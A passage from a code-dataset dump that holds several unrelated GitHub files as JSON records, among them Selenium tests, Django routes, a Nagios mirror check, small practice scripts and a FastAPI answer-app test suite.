***********')\n\n self.set_gender_male()\n time.sleep(1)\n\n self.set_gender_female()\n time.sleep(3)\n\n\n def test_WeekDay(self,setup):\n self.driver = setup\n self.driver.get(self.base_url)\n self.set_cookie()\n self.set_frame1()\n\n self.scroll_till_weekday()\n time.sleep(3)\n self.set_weekdays()\n\n def test_BestTime_contact(self,setup):\n self.driver = setup\n self.driver.get(self.base_url)\n self.set_cookie()\n self.set_frame1()\n\n self.scroll_till_weekday()\n self.set_drop_down()\n\n def test_upload_file(self,setup):\n self.driver = setup\n self.driver.get(self.base_url)\n self.set_cookie()\n self.set_frame1()\n\n self.set_upload_file('C:/Users/varsh/Desktop/hi.txt')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"varshika-gurudu/Automation_test_practice","sub_path":"TestCases_signup/test_NameField.py","file_name":"test_NameField.py","file_ext":"py","file_size_in_byte":9790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70241454222","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n\n # main\n\n path('', views.wiki_list, name='index'),\n path('Usage/', views.wiki_listu, name='usage'),\n path('Examples/', views.wiki_liste, name='examples'),\n path('About/', views.about_list, name='about'),\n path('Contact/', views.contact_list, name='contact'),\n path('Index', views.index_list, name='indexindex'),\n\n\n # programming\n\n\n path('Python/', views.Pythonwiki_list, name='Python'),\n path('Python/examples', views.Pythonwiki_liste, name='Pythonexamples'),\n path('Python/usage', views.Pythonwiki_listu, name='Pythonusage'),\n path('C++/', views.Cpluspluswiki_list, name='C++'),\n path('C++/examples', views.Cpluspluswiki_liste, name='C++examples'),\n path('c++/usage', views.Cpluspluswiki_listu, name='C++usage'),\n path('Java/', views.Javawiki_list, name='Java'),\n path('Java/examples', views.Javawiki_liste, name='Javaexamples'),\n path('Java/usage', views.Javawiki_listu, name='Javausage'),\n path('SQL/', views.SQLwiki_list, name='SQL'),\n path('SQL/examples', views.SQLwiki_liste, name='SQLexamples'),\n path('SQL/usage', views.SQLwiki_listu, name='SQLusage'),\n\n # web\n\n path('Web/', views.Webwiki_list, name='Web'),\n path('HTML/', views.HTMLwiki_list, name='Html'),\n path('HTML/examples', views.HTMLwiki_liste, name='Htmlexamples'),\n path('HTML/usage', views.HTMLwiki_listu, name='Htmlusage'),\n path('CSS/', views.CSSwiki_list, name='Css'),\n path('CSS/examples', views.CSSwiki_liste, name='Cssexamples'),\n path('CSS/usage', views.CSSwiki_listu, name='Cssusage'),\n path('JS/', views.JSwiki_list, name='Js'),\n path('JS/examples', views.JSwiki_liste, name='Jsexamples'),\n path('JS/usage', views.JSwiki_listu, name='Jsusage'),\n]\n","repo_name":"0xd4n10/Programming-Language-Wiki","sub_path":"danitowiki/wiki/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11003758195","text":"from __future__ import print_function\nfrom __future__ import division\nimport argparse\nimport sys\nimport requests\n\nNAGIOS_STATUS = {\n 'OK': 0,\n 'WARNING': 1,\n 'CRITICAL': 2,\n 'UNKNOWN': 3,\n}\n\n\ndef print_exit(status, seconds, hours):\n print(\n '{0} - {1} seconds since last sync, which are {2:.4f} hours.|last_sync={3}'.format(\n status, seconds, hours, seconds\n )\n )\n sys.exit(NAGIOS_STATUS[status])\n\n\ndef main():\n parser = argparse.ArgumentParser(description='check mirror status')\n parser.add_argument('--url', help='mirror monitoring url', required=True)\n parser.add_argument(\n '--w', help='warning threshold in hours', type=float, default=24\n )\n parser.add_argument(\n '--c', help='critical threshold in hours', type=float, default=36\n )\n args = parser.parse_args()\n sync = -1\n try:\n res = requests.get(args.url, timeout=5.0)\n sync = res.json().values()[0]\n except (requests.exceptions.RequestException, ValueError):\n print('UNKNOWN - unable to connect')\n sys.exit(NAGIOS_STATUS['UNKNOWN'])\n hours = sync / 60 / 60 if sync > 0 else sync\n if 0 < hours < args.w:\n print_exit('OK', sync, hours)\n elif args.w <= hours < args.c:\n print_exit('WARNING', sync, hours)\n elif hours >= args.c:\n print_exit('CRITICAL', sync, hours)\n else:\n print('UNKNOWN - no synchronization detected yet.')\n sys.exit(NAGIOS_STATUS['UNKNOWN'])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"oVirt/mirrorchecker","sub_path":"examples/mirrorchecker_nagios_plugin.py","file_name":"mirrorchecker_nagios_plugin.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"42551900737","text":"\"\"\"\nTest core functionality\n\"\"\"\nimport pytest\nfrom validphys import core\nfrom validphys.tests.conftest import PDF, HESSIAN_PDF\n\n@pytest.mark.parametrize(\"pdf_name\", [PDF, HESSIAN_PDF])\ndef test_pdf(pdf_name):\n \"\"\"Check that the given PDF and their relevant attributes can be read\n And that they don't have crazy values\n \"\"\"\n pdf = core.PDF(pdf_name)\n _ = pdf.q_min\n _ = pdf.stats_class\n assert pdf.isinstalled\n error_type = pdf.error_type\n if error_type == \"replicas\":\n assert pdf.error_conf_level is None\n else:\n assert isinstance(pdf.error_conf_level, (int, float))\n assert pdf.get_members() == len(pdf)\n assert pdf.name == pdf._plotname == pdf_name == str(pdf)\n","repo_name":"NNPDF/nnpdf","sub_path":"validphys2/src/validphys/tests/test_core.py","file_name":"test_core.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"47"} +{"seq_id":"73647005262","text":"s = input()\nt = input()\nlen_t = len(t)\n\n\n# s, tの長さはともにx文字\ndef match(a, b):\n return a == b or a == '?' or b == '?'\n\n\npre = [False] * (len_t + 1)\npre[0] = True\nfor x in range(len_t):\n if not match(s[x], t[x]):\n break\n pre[x + 1] = True\n\ns = s[::-1]\nt = t[::-1]\n\nsuf = [False] * (len_t + 1)\nsuf[0] = True\nfor x in range(len_t):\n if not match(s[x], t[x]):\n break\n suf[x + 1] = True\n\nfor x in range(len_t + 1):\n if pre[x] and suf[len_t - x]:\n print(\"Yes\")\n else:\n print(\"No\")\n","repo_name":"snhr-1019/competitive-programming","sub_path":"AtCoder/abc287/d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38112394528","text":"import matplotlib.pyplot as plt \ndef read_data (file_path):\n with open (file_path) as file:\n Temperatures = [] \n for line in file:\n Temperature = float (line.strip())\n Temperatures.append(Temperature)\n\n return Temperatures \n\ndef run():\n data = read_data('Week8/visual/subplots/temps.txt')\n fig, (ax1, ax2) = plt.subplots(1, 2)\n\n ax1.plot(range(1, 8), data)\n ax2.bar(range(1, 8), data)\n plt.tight_layout()\n plt.show()\n\nrun()\n\n","repo_name":"kaneLittle2020/1st-term-work","sub_path":"Week8/Simple_Subplots.py","file_name":"Simple_Subplots.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"74378122062","text":"import random\nfrom typing import Any, Literal\nimport numpy as np\nfrom numpy._typing import NDArray\n\ndef gen() -> list:\n class_fst: list = []\n class_snd: list = []\n for i in range(100):\n x_coord: float = random.uniform(0, 1)\n class_fst.append([np.array([x_coord,\n random.uniform(x_coord + 0.001, 1),\n random.uniform(0, 1)\n ]), \n -1])\n x_coord: float = random.uniform(0, 0.5)\n class_snd.append([np.array([x_coord,\n random.uniform(0, x_coord - 0.001),\n random.uniform(0, 1)\n ]),\n 1])\n return class_fst + class_snd\n\nif __name__ == '__main__':\n alpha: float= 0.05\n points: list = gen()\n weights: NDArray[Any] = np.array([random.uniform(-1, 1), random.uniform(-1, 1), random.uniform(-1, 1)])\n print(weights)\n wrong_counter = 0\n correct_counter = 0\n\n for point, marker in points:\n dot_sign: Any = np.sign(np.array(point).dot(weights))\n if dot_sign * marker < 0:\n wrong_counter += 1\n else:\n correct_counter += 1\n\n print(f\"Wrong class: {wrong_counter}\\nCorrect class: {correct_counter}\")\n for i in range(1000):\n for point, marker in points:\n dot_sign = np.sign(np.array(point).dot(weights))\n if dot_sign * marker < 0:\n weights: NDArray[Any] = weights + alpha * marker * point\n print(weights)\n\n\n wrong_counter = 0\n correct_counter = 0\n\n for point, class_marker in points:\n dot_sign = np.sign(np.array(point).dot(weights))\n if dot_sign * class_marker < 0:\n wrong_counter += 1\n else:\n correct_counter += 1\n\n print(f\"Wrong class: {wrong_counter}\\nCorrect class: {correct_counter}\")\n","repo_name":"DiMalovanyy/University_Term9","sub_path":"NeurNet/Lab1/lab.py","file_name":"lab.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26411871001","text":"from chessboard.board import Board\r\nfrom pieces.pawn import Pawn\r\nfrom pieces.knight import Knight\r\nfrom pieces.rook import Rook\r\nfrom pieces.bishop import Bishop\r\nfrom pieces.queen import Queen\r\nfrom pieces.king import King\r\nfrom pieces.colour import Colour\r\nfrom pieces.location import Location\r\nfrom game.game_worker import setup_game_board_worker, get_all_next_moves, is_king_in_check, insufficient_material_draw\r\nimport random\r\nimport time\r\n\r\nboard = setup_game_board_worker()\r\n\r\nprint(board)\r\n\r\nnumber_of_moves_since_take = 0\r\ntotal_moves = 0\r\nstart_time = time.time()\r\n\r\nquit()\r\n\r\ncurrent_turn_colour = Colour.WHITE\r\nwhile True:\r\n moves = get_all_next_moves(current_turn_colour, board)\r\n #[print(move) for move in moves]\r\n #print(board)\r\n if len(moves) == 0:\r\n # Stalemate checker:\r\n if is_king_in_check(current_turn_colour, board):\r\n print(\"{} LOSES!\".format(current_turn_colour))\r\n print(\"There were a total of {} moves made in {} seconds\".format(\r\n total_moves, (time.time()-start_time)))\r\n else:\r\n print(\"Stalemate - {} cannot make a legal move\".format(current_turn_colour))\r\n print(\"There were a total of {} moves made in {} seconds\".format(\r\n total_moves, (time.time()-start_time)))\r\n quit()\r\n selected_next_move = random.choice(moves)\r\n if insufficient_material_draw(board):\r\n print(\"Draw - insufficient material\")#\r\n print(\"There were a total of {} moves made in {} seconds\".format(\r\n total_moves, (time.time()-start_time)))\r\n quit()\r\n if number_of_moves_since_take >= 50:\r\n print(\"Draw - no takes in 50 moves\")\r\n print(\"There were a total of {} moves made in {} seconds\".format(\r\n total_moves, (time.time()-start_time)))\r\n quit()\r\n if len(selected_next_move.moves) == 0:\r\n # Stalemate checker:\r\n if is_king_in_check(current_turn_colour, board):\r\n print(\"{} LOSES!\".format(current_turn_colour))\r\n print(\"There were a total of {} moves made in {} seconds\".format(\r\n total_moves, (time.time()-start_time)))\r\n else:\r\n print(\"Stalemate - {} cannot make a legal move\".format(current_turn_colour))\r\n print(\"There were a total of {} moves made in {} seconds\".format(\r\n total_moves, (time.time()-start_time)))\r\n quit()\r\n selected_piece_move = random.choice(selected_next_move.moves)\r\n if selected_piece_move.take and selected_piece_move.take_piece.name == \"King\":\r\n print(\"Something wen't terrible wrong I've taken a king...\")\r\n # print(selected_piece_move)\r\n quit()\r\n board.move_piece(selected_next_move.piece,\r\n selected_next_move.current_location,\r\n selected_piece_move)\r\n number_of_moves_since_take += 1\r\n total_moves += 1\r\n if selected_piece_move.take:\r\n number_of_moves_since_take = 0\r\n if current_turn_colour == Colour.WHITE:\r\n current_turn_colour = Colour.BLACK\r\n else:\r\n current_turn_colour = Colour.WHITE\r\n","repo_name":"0x10F8/chessbot","sub_path":"start_game.py","file_name":"start_game.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"3299923616","text":"import numpy as np\nimport tensorflow as tf\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.optimizers import Adam\nimport random as rd\nimport matplotlib.pyplot as plt\n\nclass DQN:\n def __init__(self, inp, wp):\n self.inp = inp\n self.wp = wp\n self.lr = 0.01\n self.input_size = 11 # \n self.output_size = 2 # 오 왼\n self.target = np.empty\n self.model = Sequential()\n self.model.add(Dense(self.input_size, input_dim=self.input_size, activation='relu'))\n self.model.add(Dense(self.output_size, activation='softmax'))\n self.model.compile(loss='mse', optimizer=Adam(lr=self.lr))\n self.model.summary()\n self.rAll = 0\n \n def step(self, action, loc, speed):\n wall = [0 , 10]\n r = speed\n \n way = ['L', 'R'][action]\n points = make_circle(loc, r)\n point = []\n if way == 'L':\n for i in points:\n if i[0] <= loc[0]:\n point.append(i)\n if i[0] <= wall[0]:\n return -1\n else:\n for i in points:\n if i[0] >= loc[0]:\n point.append(i) \n if i[0] >= wall[0]:\n return -1 \n reward = 1\n\n return reward\n \n def ln(self):\n loc = [5,0]\n # dis = 0.9\n speed = np.random.randint(2,7)\n print(speed)\n rAll = []\n for e in range(100): \n cho = np.arange(self.output_size)\n \n target = self.model.predict(self.inp)\n \n if rd.random() > e/100:\n action = rd.choice(cho)\n else:\n action = np.argmax(target)\n \n reward = self.step(action, loc, speed)\n \n if reward:\n target[0][action] = reward\n else:\n target[0][action] = reward\n \n print(target[0][action])\n self.model.fit(self.inp, target, epochs=1, verbose=0)\n \n rAll.append(reward)\n\n return rAll\n\n\ndef make_circle(loc, r):\n ang = np.linspace(0, 2 * np.pi, 21)\n points = np.empty((0,2), float)\n for i in ang:\n x, y = r * np.cos(i), r * np.sin(i)\n if -1e-6 < x and x < 1e-6: x = 0\n if -1e-6 < y and y < 1e-6: y = 0\n\n points = np.append(points, np.array([[x + loc[0], y + loc[1]]]), axis=0)\n # points = np.append(points, np.array([[x, y]]), axis = 0)\n \n return points\n\ndef make_oval(obs_loc, r, dis): # 장애물 위치, 장애물로부터 떨어질 거리(단반경), 회피를 시작하기 위한 장애물 과의 거리(장반경)\n ang = np.linspace(0, 2 * np.pi, 21)\n points = np.empty((0,2), float)\n for i in ang:\n x, y = dis * np.cos(i), dis * np.sin(i)\n if -1e-6 < x and x < 1e-6: x = 0\n if -1e-6 < y and y < 1e-6: y = 0\n x = x / ( dis / r )\n \n points = np.append(points, np.array([[x + obs_loc[0], y + obs_loc[1]]]), axis=0)\n \n return points\n\n\ninp = np.array([[0,0,0,0,0,1,0,0,0,0,0]])\nP = DQN(inp, 1)\nrALL = P.ln()\n\nplt.figure()\nplt.plot(rALL)\nplt.show()\n","repo_name":"zygn/Capstone_AD1","sub_path":"car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38750572963","text":"import sys\nimport yaml\nimport pytest\n\nfrom typing import Callable\n\nfrom deta import Drive, Base\n\nfrom fastapi import FastAPI, Response\nfrom fastapi.testclient import TestClient\n\nfrom ..main import QuestionModel, NoAnswersResponse, AnswerListen, yaml_to_questions\n\nfrom ..config import Settings\n\ndef get_settings():\n return Settings()\n\n\n# check out pytest.monkeypatch? eg https://testdriven.io/blog/fastapi-crud/\n\n# - want to play with postman to construct flows, and tests\n# - - and openAPI Links: https://swagger.io/docs/specification/links/\n# - AsyncAPI is for event-driven arch, not REST\n# - feels like I am essentially doing property-based testing in some of these\n# flows. so, maybe `deal` lib could be a good fit? feels like i shouldn't even\n# need tosspecify the impl given precise enough tests...\n\n@pytest.fixture(scope=\"session\")\ndef test_drives():\n questions_drive = Drive(\"TEST_questions\")\n answers_drive = Drive(\"TEST_answers\")\n return {'questions': questions_drive,\n 'answers': answers_drive}\n\n# could turn these into pydantic Store object to pass them around as a single object since they are used together\n@pytest.fixture(scope=\"session\")\ndef test_dbs():\n questions_db = Base(\"TEST_questions\")\n answers_db = Base(\"TEST_answers\")\n return {'questions': questions_db,\n 'answers': answers_db}\n\n# do something with each db and drive so it's accessible from deta dashboard gui\n# todo make cli flag like `pytest --touch_backend`\n# or maybe make its own test so i can one-off call it when needed. which would be...rarely?\ndef touch_backend(test_dbs, test_drives):\n test_dbs['questions'].put('test')\n test_dbs['answers'].put('test')\n test_drives['questions'].put('test', 'test')\n test_drives['answers'].put('test', 'test')\n\n# Create a new application for testing\n@pytest.fixture\ndef app(test_dbs, test_drives, touch_backend = False) -> FastAPI:\n from ..main import app, get_dbs, get_drives\n # all the tests in this file run against the prod deployment,\n # and these two overrides make it so that all the endpoints\n # use the test drives and bases instead of prod drives and bases.\n # an alternative would be to just swap the project api\n # (and create the \"test\" deployment)\n app.dependency_overrides[get_dbs] = lambda: test_dbs\n app.dependency_overrides[get_drives] = lambda: test_drives\n\n if touch_backend:\n touch_backend(test_dbs, test_drives)\n \n return app\n\n@pytest.fixture\ndef client(app: FastAPI) -> TestClient:\n return TestClient(app)\n\n# we are doing set_1_question instead of this...for now\n# # Apply migrations at beginning and end of testing session\n# @pytest.fixture(scope=\"session\")\n# def apply_migrations():\n# warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n# os.environ[\"TESTING\"] = \"1\"\n# config = Config(\"alembic.ini\")\n# alembic.command.upgrade(config, \"head\")\n# yield\n# alembic.command.downgrade(config, \"base\")\n\n# todo - how can we parameterize which set of test questions we want to load\n# into a given test? (do we actually want to do this?)\n# - could do this by returning parameterized closure!\n\n# TODO - actually want a test to check prod db for the correct formatted questions.\n# how to do this despite dependency_overrides above? avoid using endpoint?\n\n@pytest.fixture\ndef set_1_question(test_dbs, test_drives,\n settings: Settings = get_settings() ) -> QuestionModel:\n # should I update this to use local tests/question_list_1_entry.yaml\n # this doesn't add a q per se, it sets entire list to single q\n key = 'set_1_question key'\n text = 'none'\n checklist = ['a', 'b']\n\n # yaml data model:\n # questions:\n # - key: 1\n # text: \"What is one idea, novel or otherwise, that you'd like more people to hear about?\"\n # checklist: [\"item 1\"]\n\n qm = QuestionModel(key=key, text=text, checklist=checklist)\n # model_dicts = [QuestionModel(*q).dict() for q in questions]\n yaml_string = yaml.dump({'questions': [qm.dict()]}, sort_keys=False) # don't sort keys so key remains first\n \n qfilename = settings.qfilename\n qfile = test_drives['questions'].get(qfilename)\n if qfile is None:\n test_drives['questions'].put(qfilename, yaml_string)\n else:\n raise Exception(f\"{qfilename} already in drive, not overwriting just in case\")\n\n yield qm\n \n test_drives['questions'].delete(qfilename)\n test_dbs['questions'].delete(key)\n\n# keeping these around for if I ever want one-off mass-delete functionality\n \n# def fetch_all_from_drive(drive):\n# result = drive.list()\n\n# all_files = result.get(\"names\")\n# paging = result.get(\"paging\")\n# last = paging.get(\"last\") if paging else None\n\n# while (last):\n# # provide last from previous call\n# result = drive.list(last=last)\n\n# all_files += result.get(\"names\")\n# # update last\n# paging = result.get(\"paging\")\n# last = paging.get(\"last\") if paging else None\n\n# #print(\"all files:\", all_files)\n# return all_files\n\n# def fetch_all_from_db(db):\n# res = db.fetch()\n\n# if res.count == 0:\n# return None\n\n# rows = res.items\n# while res.last:\n# res = db.fetch(last=res.last)\n# rows += res.items\n\n# return rows\n\n# def delete_all_test_answers():\n# dbs = test_dbs()\n# drives = test_drives()\n# all_filenames = fetch_all_from_drive(drives['answers'])\n# print(f\"deleting all answers in drive: \" + ', '.join(all_filenames))\n# drives['answers'].delete_many(all_filenames)\n# # for key in all_filenames:\n# # dbs['answers'].delete(key)\n# rows = fetch_all_from_db(dbs['answers'])\n# print(\"deleting all answers in db: \" + rows)\n# for row in rows:\n# dbs['answers'].delete(row.key)\n\n### TODO\n# remaining happy paths for each endpoint\n# enumerate edge caes for each end point, decide which oens to write tests for\n# do i want to deploy a test micro, akin to a dev server the FE can test against?\n# - eventually, yeah, prob. to do integration testing with FE eg\n\n## a note on path fixtures\n# some fixtures are teh same name as paths in the api\n# these are intended to be used as both:\n# - Act step in a test specific for that rpc call\n# - Arrange step for another rpc call as part of a longer flow\n\n\n### getQuestion\n\n# returns a function so we can call it more than once in a test case.\n\n@pytest.fixture\ndef getQuestion(client: TestClient) -> Callable:\n def _getQuestion():\n response = client.get(\"/getQuestion\")\n return response\n yield _getQuestion\n # could decrement num_asks in db to 100% revert state I guess\n # err, don't know how many times it's been asked, so need to copy\n # state from before yielding insteadd.\n\ndef test_get_question(set_1_question: QuestionModel, # Arrange\n test_dbs,\n getQuestion: Callable) -> None:\n\n # (gets input into DB during first ask)\n assert test_dbs['questions'].get(set_1_question.key) is None\n\n qresponse = getQuestion() # Act\n\n assert qresponse.status_code == 200\n assert qresponse.json() == set_1_question.dict()\n assert test_dbs['questions'].get(set_1_question.key)['num_asks'] == 1\n\n getQuestion() # Act again\n\n # make sure it incremented\n assert test_dbs['questions'].get(set_1_question.key)['num_asks'] == 2\n\ndef test_no_questions_available(getQuestion: Callable) -> None:\n qresponse = getQuestion()\n assert qresponse.status_code == 500\n\n### submitAnswer\n\n# TODO test cases for:\n# - drive is full error\n# - other drive errors? (overwriting?)\n# - db errors\n\n@pytest.fixture\ndef submitAnswer(client: TestClient,\n test_dbs, test_drives,\n set_1_question, # Arrange for getQuestion\n getQuestion: Callable, # Arrange\n ) -> Callable:\n responses = []\n def _submitAnswer(audio_data = \"test data\", question_uuid = ''):\n if question_uuid == '':\n qresponse = getQuestion()\n question_uuid = qresponse.json()['key']\n \n response = client.post(\"/submitAnswer\",\n json={\"audio_data\": audio_data,\n \"question_uuid\": question_uuid})\n responses.append(response)\n return response\n \n yield _submitAnswer\n\n def delete_answer(key, dbs, drives):\n drives['answers'].delete(key)\n dbs['answers'].delete(key)\n\n for response in responses:\n if response.status_code == 200:\n delete_answer(response.json()['answer_id'], test_dbs, test_drives)\n\ndef test_submit_answer(client: TestClient,\n submitAnswer: Callable, # Arrange and Act\n test_dbs, test_drives,\n ) -> None:\n\n # no answers in the store before we submitAnswer\n assert len(test_drives['answers'].list()['names']) == 0\n assert len(test_dbs['answers'].fetch().items) == 0\n\n testdata = \"test audio data\"\n\n # Act\n aresponse = submitAnswer(testdata)\n\n # this is set from set_1_question called from submitAnswer\n question_uuid = aresponse.json()['question_id']\n \n assert aresponse.status_code == 200\n # check the answer_uuid is a uuid?\n\n answer_uuid = aresponse.json()['answer_id']\n metadata = test_dbs['answers'].get(answer_uuid)\n document = test_drives['answers'].get(answer_uuid)\n contents = document.read()\n\n # audio data being exactly 'test audio data'\n assert testdata.encode('utf-8') == contents\n\n # answer db metadata at initial state\n assert len(metadata.keys()) == 11 # reminder to update if we add new keys\n assert metadata['key'] == answer_uuid\n assert metadata['entry_timestamp'] == aresponse.json()['entry_timestamp']\n assert metadata['question_uuid'] == question_uuid\n assert metadata['num_flags'] == 0\n assert metadata['is_banned'] is False\n assert metadata['unban_token'] == ''\n assert metadata['was_banned'] is False\n assert metadata['num_agrees'] == 0\n assert metadata['num_disagrees'] == 0\n assert metadata['num_abstains'] == 0\n assert metadata['num_serves'] == 0\n \n # ...do we want to explicitly test that this answer_id doesn't exist beforehand?\n # bc if so, need to do an Assert before the Act...\n # mb create 2nd test case for this? can we call fixture inside test case?\n # or mb don't need to due to nature of arrange fixtures?\n\ndef test_submit_answer_wrong_qid(client: TestClient,\n submitAnswer) -> None:\n response = submitAnswer(question_uuid = \"key doesn't exist\")\n assert response.status_code == 404\n\n### getAnswer\n# - workflow test: getAnswer -> no filtered answers -> submitAnswer -> getAnswer -> one\n# - no answers to get\n# - no filtered answers to get\n# - answer is got\n# - - client has binary data, and server db is updated num_listens\n# - - with and without a seen_before list\n# - - test distribution from each category? and seeing randomness from within each category\n# - - - test for round robin delivery, 1 from each category\n\n\ndef test_get_answer_wrong_qid(client: TestClient,\n getAnswer: Callable) -> None:\n response = getAnswer(question_uuid='keynotfound')\n\n # should this be 404 instead?\n assert response.status_code == 200\n assert response.json() == NoAnswersResponse().dict()\n\n\ndef test_get_answer_no_answers(client: TestClient,\n set_1_question,\n ) -> None:\n\n response = client.post(f\"/getAnswer?question_uuid={set_1_question.key}\",\n json=[])\n\n assert response.status_code == 200\n assert response.json() == NoAnswersResponse().dict()\n\n# read local questions.yaml and ensure it parses\ndef test_question_yaml_parsing(settings: Settings = get_settings()):\n with open(settings.local_qpath, 'r') as f:\n qfilecontents = f.read()\n qm = QuestionModel(**(yaml_to_questions(qfilecontents))[0])\n assert True\n return\n assert False\n\n# assert schema of local questions.yaml matches that of prod\n### CAREFUL PROD DATABASE\ndef test_question_list_schema_in_sync(\n test_drives,\n settings: Settings = get_settings()) -> None:\n\n from ..main import get_drives\n\n remote_qpath = settings.qfilename\n qcontents_prod = get_drives()['questions'].get(remote_qpath).read().decode().strip()\n prod_model = QuestionModel(**(yaml_to_questions(qcontents_prod)[0]))\n\n with open(settings.local_qpath, 'r') as f:\n qcontents_local = f.read()\n\n local_model = QuestionModel(**(yaml_to_questions(qcontents_local)[0]))\n\n assert local_model.schema() == prod_model.schema()\n\ndef test_get_answer(client: TestClient,\n getAnswer: Callable,\n test_dbs, test_drives,\n ) -> None:\n\n db_rows = test_dbs['answers'].fetch().items\n assert len(db_rows) == 1 # this is from the submitAnswer that getAnswer calls\n # ... not sure if I like that I can't get the value from submitAnswer as a dependency\n\n answer_uuid = db_rows[0]['key']\n #answer_uuid = response['answer_uuid'] \n\n # ensure answer bookkeeping in db\n answer_row = test_dbs['answers'].get(answer_uuid)\n assert answer_row['num_serves'] == 0\n response = getAnswer()\n answer_row = test_dbs['answers'].get(answer_uuid)\n assert answer_row['num_serves'] == 1\n\n # TODO\n # need to look through submitAnswer and compare results to expected distribution?\n # this feels quite important to test actually.\n\n\n@pytest.fixture\ndef getAnswer(client: TestClient,\n test_dbs, test_drives,\n set_1_question, # Arrange\n submitAnswer: Response, # Arrange\n ) -> Callable:\n\n submitAnswer() # Arrange\n \n seen_answers = [] # avoiding that bug of using [] as default arg\n responses = []\n def _getAnswer(seen_answers=seen_answers, question_uuid=set_1_question.key):\n response = client.post(f\"/getAnswer?question_uuid={question_uuid}\",\n json=seen_answers)\n responses.append(response)\n return response\n\n yield _getAnswer\n\n for response in responses:\n if type(response) == AnswerListen:\n test_dbs['answers'].update(\n {\"num_serves\": test_dbs['answers'].util.increment(-1)},\n response.json()['answer_uuid'])\n\n### banAnswer\n# - this isn't an actual endpoint but might eventually be separate event than flag\n# - getAnswer doesn't get banned answer\n\ndef test_get_no_banned_answer(client: TestClient,\n submitAnswer: Response,\n getAnswer: Callable,\n test_dbs, test_drives,\n ) -> None:\n assert False\n\n\n### flagAnswer\n# - happy path results in incremented flag in db\n# - error answer not found\n\n### rateAnswer and getAnswerStats\n\n@pytest.fixture\ndef rateAnswer(client: TestClient,\n test_dbs, test_drives,\n getAnswer: Callable, # Arrange\n ) -> Callable:\n responses = []\n def _rateAnswer(answer_uuid='', agreement=0):\n if answer_uuid == '':\n response = getAnswer()\n assert response.status_code == 200\n answer_uuid = response.json()['answer_uuid'] # TODO inconsistent get submitAnswer i think\n\n response = client.post(f\"/rateAnswer?answer_uuid={answer_uuid}&agreement={agreement}\")\n responses.append(response)\n return response\n\n yield _rateAnswer\n\n for response in responses:\n pass # TODO ought to record the rating in closure and undo here\n\n\n@pytest.fixture\ndef getAnswerStats(client: TestClient,\n test_dbs, test_drives,\n getAnswer: Callable, # Arrange\n ) -> Callable:\n responses = []\n def _getAnswerStats(answer_uuid=''):\n if answer_uuid == '':\n response = getAnswer()\n assert response.status_code == 200\n answer_uuid = response.json()['answer_uuid'] \n\n response = client.get(f\"/getAnswerStats?answer_uuid={answer_uuid}\")\n responses.append(response)\n return response\n\n yield _getAnswerStats\n\n for response in responses:\n pass # no side effects of this endpoint\n\ndef test_rate_and_stats(rateAnswer: Callable,\n getAnswerStats: Callable):\n\n # getAnswerStats calls getAnswer as part of the flow alraedy\n stats = getAnswerStats().json()\n assert stats['num_serves'] == 1\n assert stats['num_agrees'] == 0\n assert stats['num_abstains'] == 0\n assert stats['num_disagrees'] == 0\n\n # rateAnswer calls getAnswer as part of the flow already\n rateAnswer(agreement=1) \n rateAnswer(agreement=-1)\n rateAnswer(agreement=0)\n rateAnswer(agreement=-1)\n rateAnswer(agreement=1)\n rateAnswer(agreement=-1)\n\n # this calls getAnswer, hence 8 serves total so far\n stats = getAnswerStats().json()\n assert stats['num_abstains'] == 1\n assert stats['num_agrees'] == 2\n assert stats['num_disagrees'] == 3\n assert stats['num_serves'] == 8\n\n# do I need to test this?\ndef test_bad_answer_stats(client: TestClient) -> None:\n response = client.get(\"/getAnswerStats\")\n assert response.status_code == 422 # this is what fastapi returns by default i guess \n\ndef test_no_answer_stats(client: TestClient) -> None:\n response = client.get(\"/getAnswerStats?answer_uuid=2248634230063352\")\n assert response.status_code == 200\n assert response.json() == NoAnswersResponse().dict()\n \n","repo_name":"bmbmjmdm/hear-you-out","sub_path":"backend/tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":17671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70348221263","text":"# -*- coding: utf-8 -*-\n\n\nimport os, re, platform, sys, importlib\nimport subprocess\n\n# import nltk\nfrom jamo import h2j\nfrom .special import jyeo, ye, consonant_ui, josa_ui, vowel_ui, jamo, rieulgiyeok, rieulbieub, verb_nieun, balb, palatalize, modifying_rieul\nfrom .regular import link1, link2, link3, link4\nfrom .utils import annotate, compose, group, gloss, parse_table, get_rule_id2text\n# from .english import convert_eng\nfrom .korean import join_jamos, split_syllables\nfrom .numerals import convert_num\n\n \nclass G2p(object):\n def __init__(self, use_konlpy=False, mecab_path=None):\n self.use_konlpy = use_konlpy\n self.mecab_path = mecab_path\n \n self.check_mecab()\n self.mecab = self.get_mecab()\n self.table = 